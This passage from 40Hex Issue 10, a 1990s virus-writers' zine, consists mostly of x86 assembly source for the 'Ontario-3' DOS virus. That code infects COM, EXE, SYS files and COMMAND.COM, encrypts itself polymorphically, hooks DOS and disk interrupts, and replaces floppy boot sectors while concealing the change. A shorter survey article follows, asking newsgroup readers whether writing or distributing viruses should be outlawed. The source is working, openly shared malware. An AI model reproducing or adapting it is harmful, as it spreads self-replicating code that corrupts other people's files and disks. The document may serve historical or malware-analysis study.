|
||
pop si ; offset to decrypt
|
||
jnz load_noexecute_quit
|
||
cmp ah,7 ; check if infected
|
||
je infected_checked2
|
||
cmp al,0E5h ; ditto
|
||
jne load_noexecute_quit
|
||
infected_checked2:
|
||
add si,save4 - enddecrypt
|
||
jcxz disinfectEXE
|
||
rep movsw
|
||
jmp short finish_disinfection
|
||
disinfectEXE:
|
||
mov ah,51h ; Get current PSP
|
||
call callint21
|
||
add bx,10h ; go to file starting CS
|
||
mov ax,[si+6]
|
||
dec ax
|
||
dec ax
|
||
stosw
|
||
mov ax,[si+4]
|
||
add ax,bx
|
||
stosw
|
||
movsw
|
||
lodsw
|
||
add ax,bx
|
||
stosw
|
||
finish_disinfection:
|
||
pop di
|
||
pop es
|
||
xchg ax,cx
|
||
mov cx,viruslength
|
||
rep stosb
|
||
jmp short load_noexecute_exit
|
||
load_noexecute_quit:
|
||
pop ax
|
||
pop ax
|
||
load_noexecute_exit:
|
||
call popall
|
||
retf 2
|
||
|
||
|
||
handleopen:
|
||
call pushall
|
||
mov si,dx ; find extension of
|
||
handleopenscanloop: ; ASCIIZ string
|
||
lodsb
|
||
or al,al ; found end of screen?
|
||
jz handleopenexit ; yup, no extension -- exit
|
||
cmp al,'.' ; extension found?
|
||
jne handleopenscanloop
|
||
mov di,offset validextensions - 3
|
||
push cs
|
||
pop es
|
||
mov cx,4
|
||
nop
|
||
|
||
scanvalidextension:
|
||
push cx
|
||
push si
|
||
mov cl,3
|
||
add di,cx
|
||
push di
|
||
|
||
check_extension:
|
||
lodsb
|
||
and al,5Fh ; Capitalise
|
||
cmp al,es:[di] ; do they compare ok?
|
||
jne extension_no_match ; nope, try next one
|
||
inc di
|
||
loop check_extension
|
||
|
||
cmp al,'S' ; SYS file?
|
||
jne opennotSYS
|
||
mov byte ptr cs:infectSYS,0FFh ; infecting SYS file
|
||
opennotSYS:
|
||
call infectDSDX
|
||
add sp,6
|
||
jmp short handleopenexit
|
||
extension_no_match:
|
||
pop di
|
||
pop si
|
||
pop cx
|
||
loop scanvalidextension
|
||
|
||
handleopenexit:
|
||
call popall
|
||
retn
|
||
|
||
infectDSDX:
|
||
call pushall
|
||
call replaceint13and24
|
||
push dx
|
||
push ds
|
||
mov ax,4300h ; get attributes
|
||
call callint21
|
||
push cx
|
||
pushf
|
||
jc go_restoreattribs
|
||
push cx
|
||
and cl,1 ; check if read only
|
||
cmp cl,1
|
||
jne infectDSDXnoclearattributes
|
||
xor cx,cx ; clear if so
|
||
mov ax,4301h
|
||
call callint21
|
||
infectDSDXnoclearattributes:
|
||
pop cx
|
||
and cl,4
|
||
cmp cl,4
|
||
je go_restoreattribs
|
||
mov ax,3D02h ; open file read/write
|
||
call callint21
|
||
jnc infectDSDXopenOK ; continue if no error
|
||
go_restoreattribs:
|
||
jmp infectDSDXrestoreattributes
|
||
infectDSDXopenOK:
|
||
xchg ax,bx ; handle to bx
|
||
push cs
|
||
push cs
|
||
pop ds
|
||
pop es
|
||
mov word ptr ds:SYSpatch,0
|
||
mov ax,5700h ; save file time/date
|
||
call callint21
|
||
push dx
|
||
push cx
|
||
and cl,1Fh ; check if infected
|
||
cmp cl,1Fh ; (seconds == 62)
|
||
je infectDSDXerror
|
||
mov dx,offset readbuffer ; read header from
|
||
mov cx,1Ch ; potential carrier
|
||
mov ah,3Fh ; file to the
|
||
call callint21 ; buffer
|
||
jnc infectDSDXreadOK ; continue if no error
|
||
infectDSDXerror:
|
||
stc ; mark error
|
||
jmp infectDSDXclose ; and exit
|
||
infectDSDXreadOK:
|
||
cmp ax,cx ; read 1ch bytes?
|
||
jne infectDSDXerror ; exit if not
|
||
xor dx,dx
|
||
mov cx,dx
|
||
mov ax,4202h ; go to end of file
|
||
call callint21
|
||
or dx,dx
|
||
jnz infectDSDXfilelargeenough
|
||
cmp ax,0A01h ; check if too small
|
||
jb infectDSDXerror
|
||
infectDSDXfilelargeenough:
|
||
cmp dl,5
|
||
ja infectDSDXerror
|
||
cmp word ptr ds:readbuffer,'ZM' ; EXE?
|
||
je infectDSDXskipcheck
|
||
cmp word ptr ds:readbuffer,'MZ' ; EXE?
|
||
infectDSDXskipcheck:
|
||
je infectDSDXcheckEXE
|
||
cmp byte ptr ds:infectSYS,0FFh ; infecting SYS file?
|
||
jne infectDSDXcheckCOM
|
||
cmp word ptr ds:readbuffer,0FFFFh ; check if SYS
|
||
jne infectDSDXerror ; file
|
||
cmp word ptr ds:readbuffer+2,0FFFFh
|
||
isanoverlay:
|
||
jne infectDSDXerror
|
||
or dx,dx
|
||
jnz infectDSDXerror
|
||
push ax ; save file size
|
||
mov di,offset save4
|
||
mov ax,5657h ; push di, push si
|
||
stosw
|
||
mov ax,0E953h ; push bx, jmp decrypt
|
||
stosw
|
||
mov ax,offset decrypt - (offset save4 + 6)
|
||
stosw
|
||
mov ax,word ptr ds:readbuffer+6 ; get strategy start point
|
||
stosw
|
||
pop ax ; get file size
|
||
push ax
|
||
add ax,offset save4
|
||
mov word ptr ds:readbuffer+6,ax
|
||
mov word ptr ds:SYSpatch,offset strategy-(offset SYSpatch + 2)
|
||
mov byte ptr ds:decrypt_loop,36h ; replace with SS:
|
||
pop ax
|
||
add ax,offset enddecrypt
|
||
jmp short go_infectDSDXcontinue
|
||
infectDSDXcheckCOM:
|
||
cmp byte ptr ds:readbuffer+3,'O'; check if already infected
|
||
jmp_infectDSDXerror:
|
||
je infectDSDXerror
|
||
cmp byte ptr ds:infCOMMAND,0; infecting COMMAND.COM?
|
||
je dontdoslackspace
|
||
sub ax,viruslength ; infect slack space of
|
||
xchg ax,dx ; command.com
|
||
xor cx,cx
|
||
mov ax,4200h
|
||
call callint21
|
||
dontdoslackspace:
|
||
mov si,offset readbuffer
|
||
mov di,offset save4
|
||
movsw
|
||
movsw
|
||
sub ax,3 ; convert size->jmp dest
|
||
mov byte ptr ds:readbuffer,0E9h ; encode JMP
|
||
mov word ptr ds:readbuffer+1,ax ; and destination
|
||
mov byte ptr ds:readbuffer+3,'O' ; mark infected
|
||
add ax,116h
|
||
go_infectDSDXcontinue:
|
||
jmp short infectDSDXcontinue
|
||
infectDSDXcheckEXE:
|
||
cmp word ptr ds:readbuffer+10h,0A01h ; already infected?
|
||
je jmp_infectDSDXerror
|
||
cmp word ptr ds:readbuffer+1Ah,0
|
||
jne isanoverlay ; exit if it's an overlay
|
||
|
||
push dx
|
||
push ax
|
||
mov cl,4
|
||
ror dx,cl
|
||
shr ax,cl
|
||
add ax,dx ; ax:dx = file size
|
||
sub ax,word ptr ds:readbuffer+8 ; subtract header size
|
||
mov si,offset readbuffer+14h
|
||
mov di,offset origCSIP
|
||
movsw ; save initial CS:IP
|
||
movsw
|
||
mov si,offset readbuffer+0Eh
|
||
movsw ; save initial SS:SP
|
||
movsw
|
||
mov word ptr ds:readbuffer+16h,ax ; set initial CS
|
||
mov word ptr ds:readbuffer+0Eh,ax ; set initial SS
|
||
mov word ptr ds:readbuffer+10h,0A01h ; set initial SP
|
||
pop ax
|
||
pop dx
|
||
push ax
|
||
add ax,0A01h
|
||
|
||
; adc dx,0 works just as well
|
||
jnc infectEXEnocarry
|
||
inc dx
|
||
infectEXEnocarry:
|
||
mov cx,200h ; take image size
|
||
div cx
|
||
; The next line is not entirely corrrect. The image size
|
||
; div 512 is rounded up. Therefore, DOS will find this number
|
||
; to be off by 512d bytes
|
||
mov word ptr ds:readbuffer+4,ax ; image size div 512
|
||
mov word ptr ds:readbuffer+2,dx ; image size mod 512
|
||
pop ax
|
||
and ax,0Fh
|
||
mov word ptr ds:readbuffer+14h,ax ; set initial IP
|
||
add ax,offset enddecrypt
|
||
infectDSDXcontinue:
|
||
mov word ptr ds:patch2,ax ; patch start area
|
||
push bx ; save file handle
|
||
xor byte ptr ds:decrypt_loop,18h ; swap SS: & CS:
|
||
call encrypt ; encrypt virus to buffer
|
||
pop bx ; restore file handle
|
||
mov ah,40h ; Concatenate encrypted
|
||
call callint21 ; virus
|
||
jc infectDSDXclose ; exit on error
|
||
xor dx,dx
|
||
mov cx,dx
|
||
mov ax,4200h ; go to start of file
|
||
call callint21
|
||
jc infectDSDXclose
|
||
mov dx,offset readbuffer
|
||
mov cx,1Ch
|
||
mov ah,40h ; Write new header
|
||
call callint21
|
||
infectDSDXclose:
|
||
pop cx
|
||
pop dx
|
||
jc infectDSDXnoaltertime
|
||
cmp byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM?
|
||
je infectDSDXnoaltertime
|
||
or cl,1Fh ; set time to 62 seconds
|
||
infectDSDXnoaltertime:
|
||
mov ax,5701h ; restore file time/date
|
||
call callint21
|
||
mov ah,3Eh ; Close file
|
||
call callint21
|
||
infectDSDXrestoreattributes:
|
||
mov byte ptr cs:infCOMMAND,0
|
||
mov byte ptr cs:infectSYS,0
|
||
popf
|
||
pop cx
|
||
pop ds
|
||
pop dx
|
||
jc infectDSDXexit
|
||
mov ax,4301h ; restore file attributes
|
||
call callint21
|
||
infectDSDXexit:
|
||
call restoreint13and24
|
||
call popall
|
||
retn
|
||
|
||
pushall:
|
||
push bp
|
||
mov bp,sp
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push ds
|
||
push es
|
||
pushf
|
||
xchg ax,[bp+2]
|
||
push ax
|
||
mov ax,[bp+2]
|
||
retn
|
||
|
||
popall:
|
||
pop ax
|
||
xchg ax,[bp+2]
|
||
popf
|
||
pop es
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop bp
|
||
retn
|
||
|
||
replaceint13and24:
|
||
push ds
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov si,13h*4
|
||
lodsw
|
||
mov word ptr cs:origint13_1,ax
|
||
lodsw
|
||
mov word ptr cs:origint13_2,ax
|
||
mov si,24h*4
|
||
lodsw
|
||
mov word ptr cs:origint24_1,ax
|
||
lodsw
|
||
mov word ptr cs:origint24_2,ax
|
||
mov word ptr ds:13h*4,1234h
|
||
storeint13_1 = $ - 2
|
||
mov word ptr ds:13h*4+2,1234h
|
||
storeint13_2 = $ - 2
|
||
mov word ptr ds:24h*4,offset int24 ; replace int 24 handler
|
||
mov ds:24h*4+2,cs
|
||
pop ds
|
||
retn
|
||
|
||
restoreint13and24:
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov word ptr ds:13h*4,1234h
|
||
origint13_1 = $ - 2
|
||
mov word ptr ds:13h*4+2,1234h
|
||
origint13_2 = $ - 2
|
||
mov word ptr ds:24h*4,1234h
|
||
origint24_1 = $ - 2
|
||
mov word ptr ds:24h*4+2,1234h
|
||
origint24_2 = $ - 2
|
||
retn
|
||
|
||
int24:
|
||
xor al,al
|
||
iret
|
||
|
||
encrypt:
|
||
mov di,offset patch4
|
||
mov si,di
|
||
mov word ptr [si],offset save4 - offset enddecrypt
|
||
xor bx,bx
|
||
call random
|
||
jz encrypt1
|
||
add bl,4
|
||
inc di
|
||
encrypt1:
|
||
call random
|
||
in al,40h ; get random #
|
||
mov bh,al
|
||
jz encrypt2
|
||
add [di],al ; alter amount to encrypt
|
||
add bl,28h
|
||
jmp short encrypt3
|
||
encrypt2:
|
||
sub [di],al ; alter amount to encrypt
|
||
encrypt3:
|
||
add bl,0C1h
|
||
mov [si+3],bx
|
||
call random
|
||
jz encrypt4
|
||
xor byte ptr [si+2],2 ; flip betwen add/sub
|
||
encrypt4:
|
||
in ax,40h ; get random number != 0
|
||
or ax,ax
|
||
jz encrypt4
|
||
mov bx,3 ; first choose one of
|
||
xor dx,dx ; three possible registers
|
||
div bx
|
||
xchg ax,bx
|
||
inc ax ; ax = 4
|
||
mul dx ; convert to offset in
|
||
xchg ax,bx ; table
|
||
lea si,[bx+offset table1]
|
||
lodsb
|
||
mov byte ptr ds:patch1,al
|
||
lodsb
|
||
mov byte ptr ds:patch9,al
|
||
lodsb
|
||
mov byte ptr ds:patch12,al
|
||
lodsb
|
||
mov byte ptr ds:patch15,al
|
||
call random
|
||
jz encrypt5
|
||
xor byte ptr ds:patch13,2 ; loop/loopnz
|
||
encrypt5:
|
||
in ax,40h ; get random number
|
||
mov byte ptr ds:patch8,ah
|
||
and ax,0Fh
|
||
xchg ax,bx
|
||
shl bx,1
|
||
mov ax,[bx+offset table2]
|
||
mov word ptr ds:patch10,ax
|
||
xor si,si
|
||
mov di,offset encryptbuffer ; copy virus to
|
||
mov cx,endvirus - decrypt ; temporary buffer
|
||
push cx ; for encryption
|
||
cld
|
||
rep movsb
|
||
mov bx,offset enddecrypt
|
||
push word ptr [bx] ; save it
|
||
mov byte ptr [bx],0C3h ; put retn in its place
|
||
push bx
|
||
xor byte ptr [bx-7],28h ; sub/add
|
||
push word ptr ds:decrypt_loop
|
||
mov byte ptr [bx-8],2Eh ; CS:
|
||
mov dx,offset encryptbuffer
|
||
add bx,dx
|
||
mov word ptr ds:patch2,bx
|
||
call decrypt
|
||
pop word ptr ds:decrypt_loop
|
||
pop bx
|
||
pop word ptr [bx]
|
||
pop cx
|
||
retn
|
||
|
||
|
||
random: ; 1/2 chance of zero flag set
|
||
in al,40h
|
||
and al,1
|
||
cmp al,1
|
||
retn
|
||
|
||
|
||
saveorigvectors:
|
||
push ds
|
||
push ax
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov ax,ds:13h*4
|
||
mov word ptr cs:[bx+storeint13_1],ax
|
||
mov ax,ds:13h*4+2
|
||
mov word ptr cs:[bx+storeint13_2],ax
|
||
mov ax,ds:21h*4
|
||
mov word ptr cs:[bx+offset oldint21],ax
|
||
mov ax,ds:21h*4+2
|
||
mov word ptr cs:[bx+offset oldint21+2],ax
|
||
pop ax
|
||
pop ds
|
||
retn
|
||
|
||
strategy:
|
||
mov word ptr cs:[bx+doffset],bx ; save delta offset
|
||
pop bx
|
||
pop di
|
||
pop si
|
||
call pushall
|
||
push cs
|
||
pop ds
|
||
mov bx,1234h ; restore delta offset
|
||
doffset = $ - 2
|
||
db 8bh, 87h ; mov ax,ds:[save4+6]
|
||
dw offset save4 + 6 ; get old strategy entry point
|
||
mov word ptr ds:[6],ax ; and restore to file header
|
||
int 12h ; Get memory size in K
|
||
sub ax,5 ; decrease by 5 K
|
||
mov cl,6 ; convert to paragraphs
|
||
shl ax,cl
|
||
mov es,ax
|
||
mov word ptr ds:[bx+himemsegment],ax
|
||
cmp byte ptr es:[3],0B9h ; check if already installed
|
||
je strategyexit
|
||
mov si,bx ; copy to high memory
|
||
xor di,di
|
||
mov cx,viruslength
|
||
rep movsb
|
||
pushf
|
||
db 09Ah ; call far ptr
|
||
dw infectCOMMANDCOM
|
||
himemsegment dw 0
|
||
|
||
strategyexit:
|
||
call popall
|
||
jmp word ptr cs:[6] ; go to original strategy
|
||
|
||
table1 db 0BEh, 04h, 46h,0F3h ; si
|
||
db 0BFh, 05h, 47h,0FBh ; di
|
||
db 0BBh, 07h, 43h,0DBh ; bx
|
||
|
||
table2: inc al
|
||
dec al
|
||
inc ax
|
||
inc ax
|
||
dec ax
|
||
dec ax
|
||
add al,cl
|
||
sub al,cl
|
||
xor al,cl
|
||
xor al,ch
|
||
not al
|
||
neg al
|
||
ror al,1
|
||
rol al,1
|
||
ror al,cl
|
||
rol al,cl
|
||
nop
|
||
nop
|
||
add al,ch
|
||
|
||
comspec db 'COMSPEC='
|
||
command_com db '\COMMAND.COM',0
|
||
|
||
validextensions db 'COMEXEOVLSYS'
|
||
|
||
bootsector: ; offset 600h in the virus
|
||
jmp short bootsectorentry
|
||
nop
|
||
bootparms db 3Bh dup (0)
|
||
|
||
bootsectorentry:
|
||
xor ax,ax
|
||
mov ds,ax
|
||
cli
|
||
mov ss,ax
|
||
mov sp,7C00h
|
||
sti
|
||
mov ax,ds:13h*4 ; get int 13h handler
|
||
mov word ptr ds:[7C00h+oldint13-bootsector],ax
|
||
mov ax,ds:13h*4+2 ; and save it
|
||
mov word ptr ds:[7C00h+oldint13+2-bootsector],ax
|
||
mov ax,ds:[413h] ; get total memory
|
||
sub ax,2 ; reduce by 2K
|
||
mov ds:[413h],ax ; replace memory size
|
||
mov cl,6
|
||
shl ax,cl ; convert to paragraphs
|
||
sub ax,60h ; go to boot block start
|
||
mov es,ax
|
||
mov si,sp
|
||
mov di,offset bootsector
|
||
mov cx,100h
|
||
rep movsw
|
||
mov dx,offset highentry
|
||
push es
|
||
push dx
|
||
retf
|
||
highentry:
|
||
xor ax,ax ; reset disk
|
||
and dl,al
|
||
int 13h
|
||
push ds
|
||
push es
|
||
pop ds
|
||
pop es
|
||
mov bx,sp ; read to 0:7C00h
|
||
mov dx,drivehead ; find where original boot
|
||
mov cx,sectortrack ; block stored and then
|
||
mov ax,201h ; read original boot
|
||
int 13h ; sector
|
||
jc $ ; halt on error
|
||
xor ax,ax ; else chain to original
|
||
mov ds,ax ; boot sector
|
||
mov word ptr ds:13h*4,offset int13
|
||
mov ds:13h*4+2,cs ; replace int 13h handler
|
||
push es
|
||
push bx
|
||
retf
|
||
|
||
int13:
|
||
push bp
|
||
mov bp,sp
|
||
push ds
|
||
push es
|
||
push si
|
||
push di
|
||
push dx
|
||
push cx
|
||
push bx
|
||
push ax
|
||
pushf
|
||
xor bx,bx
|
||
mov ds,bx
|
||
test byte ptr ds:[43Fh],1 ; A: spinning?
|
||
jnz exitint13 ; exit if so
|
||
or dl,dl ; default drive?
|
||
jnz exitint13 ; exit if not
|
||
cmp ah,2 ; read/write/verify?
|
||
jb exitint13
|
||
cmp ah,4
|
||
jbe trapint13
|
||
exitint13:
|
||
popf
|
||
pop ax
|
||
pop bx
|
||
pop cx
|
||
pop dx
|
||
pop di
|
||
pop si
|
||
pop es
|
||
pop ds
|
||
pop bp
|
||
jmp dword ptr cs:oldint13 ; chain to original handler
|
||
|
||
trapint13:
|
||
cld
|
||
push cs
|
||
push cs
|
||
pop es
|
||
pop ds
|
||
xor cx,cx
|
||
mov dx,cx
|
||
inc cx
|
||
mov bx,offset endvirus ; read boot block to
|
||
mov ax,201h ; buffer at endvirus
|
||
call callint13
|
||
jnc int13readOK
|
||
int13exit:
|
||
jmp short exitint13
|
||
int13readOK:
|
||
cmp word ptr [bx+15h],501Eh ; push ds, push ax?
|
||
jne int13skip
|
||
cmp word ptr [bx+35h],0FF2Eh; jmp cs: ?
|
||
jne int13skip
|
||
cmp word ptr [bx+70h],7505h ; add ax,XX75 ?
|
||
jne int13skip
|
||
mov dh,1
|
||
mov cl,3
|
||
mov ax,201h
|
||
call callint13
|
||
xor dh,dh
|
||
mov cl,1
|
||
mov ax,301h
|
||
call callint13
|
||
int13skip:
|
||
cmp word ptr ds:[offset endvirus-bootsector+YAM],'Y*'
|
||
je int13exit ; don't infect self
|
||
cmp word ptr ds:[offset endvirus+0Bh],200h
|
||
jne int13exit ; infect only 512 bytes per sector
|
||
cmp byte ptr ds:[offset endvirus+0Dh],2
|
||
jne int13exit ; only 2 reserved sectors
|
||
cmp word ptr ds:[offset endvirus+1Ah],2
|
||
ja int13exit ; only 2 sec/track
|
||
xor dx,dx ; calculate new location of boot block
|
||
mov ax,word ptr ds:[offset endvirus+13h] ; total sec
|
||
mov bx,word ptr ds:[offset endvirus+1Ah] ; sec/track
|
||
mov cx,bx
|
||
div bx ; # track
|
||
xor dx,dx
|
||
mov bx,word ptr ds:[offset endvirus+18h] ; sec/FAT
|
||
div bx
|
||
sub word ptr ds:[offset endvirus+13h],cx ; total sec
|
||
dec ax
|
||
mov byte ptr sectortrack+1,al
|
||
mov ax,word ptr ds:[offset endvirus+18h] ; sec/FAT
|
||
mov byte ptr sectortrack,al
|
||
mov ax,word ptr ds:[offset endvirus+1Ah] ; sec/track
|
||
dec ax
|
||
mov byte ptr drivehead+1,al
|
||
mov byte ptr drivehead,0
|
||
mov dx,drivehead ; move original boot block
|
||
mov cx,sectortrack ; to end of disk
|
||
mov bx,offset endvirus
|
||
mov ax,301h
|
||
call callint13
|
||
jc go_exitint13
|
||
mov si,offset endvirus+3 ; copy parameters so
|
||
mov di,offset bootparms ; no one notices boot
|
||
mov cx,bootsectorentry - bootparms ; block is changed
|
||
rep movsb
|
||
xor cx,cx
|
||
mov dx,cx
|
||
inc cx
|
||
mov bx,offset bootsector ; copy virus boot block
|
||
mov ax,301h
|
||
call callint13
|
||
go_exitint13:
|
||
jmp exitint13
|
||
|
||
callint21:
|
||
pushf
|
||
call dword ptr cs:oldint21
|
||
retn
|
||
|
||
callint13:
|
||
pushf
|
||
call dword ptr cs:oldint13
|
||
retn
|
||
|
||
oldint13 dd 0
|
||
drivehead dw 100h
|
||
sectortrack dw 2709h
|
||
YAM db '*YAM*',1Ah
|
||
db 'Your PC has a bootache! - Get some medicine!',1Ah
|
||
db 'Ontario-3 by Death Angel',1Ah,1Ah,1Ah,1Ah
|
||
save4:
|
||
origCSIP db 0CDh, 020h, 0, 0
|
||
origSSSP dd 0
|
||
|
||
endvirus:
|
||
|
||
viruslength = $ - decrypt
|
||
|
||
infCOMMAND db ?
|
||
infectSYS db ?
|
||
readbuffer db 01Ch dup (?)
|
||
encryptbuffer db viruslength dup (?)
|
||
|
||
end decrypt
|
||
-------------------------------------------------------------------------------
|
||
DA
|
||
40Hex Issue 10 Volume 3 Number 1 File 009
|
||
|
||
40-hex Survey:
|
||
Should Writing a Virus Be Outlawed?
|
||
|
||
by DecimatoR
|
||
|
||
|
||
Recently, while conversing with Garbageheap, I was inspired with the
|
||
idea for this article. So, with the help of a lot of people in the UseNet
|
||
alt.security and comp.virus newsgroups, I have determined what seems to be
|
||
the answer to my question. My thanks to all who responded - couldn't have
|
||
done it without ya!
|
||
|
||
I posted this message in alt.security and comp.virus:
|
||
|
||
"Greetings....
|
||
|
||
Some of you may read the infamous 40-Hex Virus magazine, published
|
||
by us. If so, we'd like your opinions for a survery we're doing.
|
||
The results of this survey will be published in 40-hex #10.
|
||
|
||
Here are the survey questions. Please answer them, and respond via
|
||
email to me. You may respond with simple Yes or No answers, or you
|
||
may be as wordy as you want. Please note - ANY response given might
|
||
be published in 40-hex magazine. Now, the questions:
|
||
|
||
1) Should it be Federally illegal to write a computer virus?
|
||
|
||
2) Should it be Federally illegal to distribute computer viruses,
|
||
to KNOWING individuals (ie on "virus" boards)? (This does NOT
|
||
mean infecting another person with a virus - it means giving
|
||
them a copy of a virus, and making sure they KNOW it is a virus)
|
||
|
||
3) If executable virus code is illegal, then should the SOURCE code
|
||
to the viruses be illegal to copy, sell, or other wise distribute?
|
||
|
||
Please mail me with YOUR opinions to the above, and feel free to
|
||
explain your views, or present other opinions you may have. We are
|
||
attempting to get a general idea as to the thoughts of people,
|
||
therefore we are posting this to COMP.VIRUS, and ALT.SECURITY, and
|
||
any other appropriate newsgroups.
|
||
|
||
Please note - we are NOT interested in the legallity of SPREADING
|
||
virus code by infection - that IS already illegal. We are also not
|
||
interested in the ethic issues of viruses. We want your opinions as
|
||
to what should be OUTLAWED, and what should be LEGAL. Of course, any
|
||
other opinions you may wish to add are welcome.
|
||
|
||
Thanks for your time and consideration..
|
||
|
||
--DecimatoR
|
||
Phalcon/Skism
|
||
40-Hex Magazine Columnist"
|
||
|
||
|
||
|
||
Amazingly, almost all of the responses stated that NO, it _SHOULD_NOT_ be
|
||
illegal to write, or distribute (to knowing persons) a computer virus. Many
|
||
respondees regarded that as censorship, and wanted nothing of the sort.
|
||
However, there were a few replies which, while not condoning the outlawing of
|
||
virus creation, also certainly did not condone the authoring or distributing
|
||
of viruses. There was one man, from England, though, who firmly stated that
|
||
there should be international laws banning the creation of, distribution of,
|
||
and sharing of virus source code. The fact that only one person responded in
|
||
this manner surprised me. I expected more.
|
||
|
||
Here are a few quotes from the responses I got. There are no names or
|
||
addresses attatched in most cases. I posted my original survey question
|
||
through an anonymous mailer, since I wasn't too sure of the response I'd get,
|
||
and in turn, the responses were also anonymous.
|
||
|
||
|
||
*******************************************************************************
|
||
1) Should it be Federally illegal to write a computer virus?
|
||
*******************************************************************************
|
||
|
||
From David:
|
||
|
||
"Not at all. The government is already quite behind the times
|
||
when it comes to legislating technical issues. I don't believe
|
||
they are qualified to enact competent legislation. We're talking
|
||
about a government who thought Steve Jackson Games should be raided
|
||
for compiling a cyberpunk roleplaying supplement...
|
||
|
||
Leaving aside the question of their technical knowledge, it smacks of
|
||
censorship. The inception of a computer program is roughly analogous
|
||
to the writing of a book. Put this way, your question could be
|
||
phrased like:
|
||
|
||
"Should it be Federally illegal to write a [pornographic,
|
||
anarchistic, insert-favorite-word-here] book?"
|
||
|
||
We know that the writing of a book is protected by the US constitution
|
||
as a form of expression. The writing of a computer program is a similar
|
||
form of expression, and should thus be inviolate..."
|
||
|
||
--------------------------
|
||
|
||
From: an11445@anon.penet.fi:
|
||
|
||
NO! however, if people do not exhibit ethical behaviour regarding
|
||
viruses, they are forcing such a law to be made. if someone wants
|
||
the right to write what they want on their own computer, they
|
||
would be well advised to not release to any other person this
|
||
program unless they are -absolutely certain- that person will :
|
||
|
||
a. not use the program for any damaging purpose
|
||
b. not use the program to play tricks on people
|
||
c. not allow the program to leave his/her hands without
|
||
ensuring the above conditions are met.
|
||
|
||
--------------------------
|
||
|
||
From: an10445@anon.penet.fi (Cutthroat):
|
||
|
||
No.
|
||
A virus is simply a section of code that travels with another section of code.
|
||
Viruses are not inherently malicious.
|
||
|
||
--------------------------
|
||
|
||
From: an2284@anon.penet.fi
|
||
|
||
> 1) Should it be Federally illegal to write a computer virus?
|
||
|
||
No. It's just code. The minute you start outlawing one kind of program,
|
||
you've introduced censorship.
|
||
|
||
--------------------------
|
||
|
||
From: an11290@anon.penet.fi: (Roger)
|
||
|
||
> 1) Should it be Federally illegal to write a computer virus?
|
||
|
||
Hard one. The problem is that I'd like it to be legal: people should
|
||
be free to experiment with this kind of stuff providing they keep it
|
||
safe in their own environment. However when parallels are
|
||
sought with current law, we are forced to another conclusion:
|
||
selling a gun is potentially harmless untill the gun is used. It's
|
||
partly the responsibility of the SELLER to keep guns from spreading
|
||
to unqualified people.
|
||
|
||
Now the question rises: can a computer Virus be compared to a GUN.
|
||
I think it can: both are harmless until employed in a dangerous
|
||
fashion.
|
||
|
||
In short computer viruses provide a threat to our society. Current
|
||
law prohibits possession of objects that pose a threat to society.
|
||
(Partly because this makes it easier to prosecute people that most
|
||
likely want to employ these objects in a bad way).
|
||
|
||
|
||
--------------------------
|
||
|
||
From: Josh@lehigh
|
||
|
||
Absolutely not. It's a crummy, unethical, lousy, rotten, thing to do,
|
||
but making it illegal to write *any* type of a computer program is
|
||
reminiscent of George Orwell's "1984" and Big Brother. There is also
|
||
too much speculation as to what a clear-cut, 100% absolute definition
|
||
of a computer virus is. If it's just something that remains in memory
|
||
and does something the user is not fully aware of, you're eliminating
|
||
a significant number of useful programs such as disk caches and even
|
||
virus scanners--how many people are fully aware of the mechanical
|
||
workings of a virus scanner or a disk cache? Other definitions can
|
||
be twisted in similar manners, making just about everything a "virus"
|
||
in some aspect.
|
||
|
||
|
||
--------------------------
|
||
|
||
From Oliver in the UK:
|
||
|
||
I believe that it should not only be Federally illegal, but Internationally
|
||
illegal to write a computer virus. However, one should look at the
|
||
difficulty of enforcing such a law. From what point onwards does
|
||
a program qualify as a virus; those questions, looking at the heated
|
||
regular debate on virus-l, are far from being answered categorically.
|
||
The bottom line, IMHO, is that enforcement of a federal law against
|
||
computer viruses writing is very hard. Moreover, most academic and
|
||
company sites forbid their users in using computing facilities for
|
||
writing viruses anyway, and it should be up to them to make sure
|
||
locally that no viruses are written on their facilities.
|
||
|
||
--------------------------
|
||
|
||
From Jay:
|
||
|
||
Of course not, this is a first amendment right in the USA. Writing a
|
||
virus is no different than writing any other computer program. Many
|
||
"normal" computer programs share common coding methods with viruses.
|
||
Who is to say that you intend malice by writing a small chunk of
|
||
software? Are we supposed to sit down and have code reviews with
|
||
federal agents in random spot checks to make sure we aren't writing
|
||
malicious code? That's silly.
|
||
|
||
|
||
--------------------------
|
||
|
||
From Ed:
|
||
|
||
No. This is not the correct way to deal with the virus problem.
|
||
Any form of restriction placed upon what someone does with their own
|
||
computer would be unconstitutional, as it removes our personal rights.
|
||
It has been said that the more numerous the laws, the more corrupt the
|
||
state. As the law stands, you can do what you want out *your* computer,
|
||
but as soon as you infect *mine* it becomes illegal, and that is the
|
||
way it must remain, or else the rights of everyone will be damaged.
|
||
|
||
|
||
*******************************************************************************
|
||
2) Should it be Federally illegal to distribute computer viruses,
|
||
to KNOWING individuals (ie on "virus" boards)? (This does NOT
|
||
mean infecting another person with a virus - it means giving
|
||
them a copy of a virus, and making sure they KNOW it is a virus)
|
||
*******************************************************************************
|
||
|
||
David:
|
||
|
||
"Again, no. The distribution of information should be constitutionally
|
||
protected. There are legitimate reasons why someone may want or need
|
||
the source or executable form of a virus. The most obvious is in the
|
||
field of virus research. It is necessary to obtain the virus in question
|
||
in order to devise a vaccine for it. Security through obscurity
|
||
has been tried before; it's great until some "unauthorized" person
|
||
gets hold of some information others are hiding. He's free to use
|
||
it to great success because the legitimate users don't know exactly
|
||
what he's got, making it hard to devise a defense.
|
||
|
||
A good example of this type of argument might be:
|
||
Criminals have guns. It should be illegal to have
|
||
a gun. In fact, let's keep the "knowing individuals"
|
||
(ie. the police) from having them too... "
|
||
|
||
___________________________
|
||
|
||
From: an11445@anon.penet.fi:
|
||
|
||
just because you make sure they KNOW it's a virus does not mean they
|
||
will not do some destructive thing with it, perhaps even unintentionally.
|
||
in my paper, 'circular time line model for addressing the impact of virus
|
||
exchange bbs', i support the conclusion that it will not especially help
|
||
to do this, and that it may not be even the most efficient way to deal
|
||
with the problem of computer viruses.
|
||
|
||
if people will not do the things that are right, however, they force
|
||
people to do the things that are wrong, in this case.
|
||
|
||
---------------------------
|
||
|
||
From: an10445@anon.penet.fi (Cutthroat):
|
||
